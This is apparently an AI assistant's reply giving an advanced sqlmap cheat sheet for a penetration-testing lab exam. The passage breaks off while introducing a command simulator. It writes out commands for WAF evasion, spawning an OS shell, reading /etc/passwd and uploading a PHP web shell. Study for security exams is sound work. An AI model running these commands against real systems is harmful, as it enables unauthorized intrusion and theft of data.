

The basic sqlmap commands you listed are excellent for standard enumeration, but in a lab exam environment, you often face specific constraints—like needing to route traffic through Burp Suite, specifying exact parameters to save time, or escalating directly to an OS shell.

Here is an advanced cheat sheet for sqlmap covering the powerful features you will likely need, followed by an interactive simulator to help you practice building these commands.

Advanced SQLMap Cheat Sheet (Beyond the Basics)

1. Targeting and Optimization (Saving Time)

During an exam, time is critical. Don't let sqlmap scan every parameter.

- **Target specific parameter:** `sqlmap -u "http://target.com/page?id=1&cat=2" -p id` *(Only tests the 'id' parameter)*
- **Specify the injection technique:** `sqlmap -u "URL" --technique=U` *(Forces UNION-based only. Options: B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline)*
- **Skip user prompts:** `sqlmap -u "URL" --batch` *(Automatically answers "yes" or default to all prompts—great for background running)*

2. Network and Evasion

- **Route through Burp Suite:** `sqlmap -u "URL" --proxy="http://127.0.0.1:8080"` *(Crucial if you need to see exactly what payloads sqlmap is sending)*
- **Add a random User-Agent:** `sqlmap -u "URL" --random-agent` *(Helps bypass basic WAFs blocking the default sqlmap user-agent)*
- **Custom Prefix/Suffix:** `sqlmap -u "URL" --prefix="" --suffix="-- "` *(Forces sqlmap to wrap its payloads if you know the exact backend query structure)*

3. Exploitation & Privilege Escalation (High Yield)

Once you confirm injection, these commands get you the flags.

- **Spawn an OS Shell:** `sqlmap -u "URL" --os-shell` *(Attempts to upload a web shell via INTO OUTFILE and gives you an interactive prompt)*
- **Read a server file:** `sqlmap -u "URL" --file-read="/etc/passwd"`
- **Write a file to the server:** `sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"`

SQLMap Command Builder & Demo Simulator

I have built an interactive widget below. You can use it to build complex sqlmap commands and run a "simulation" to see what the terminal output looks like when escalating from enumeration to a full OS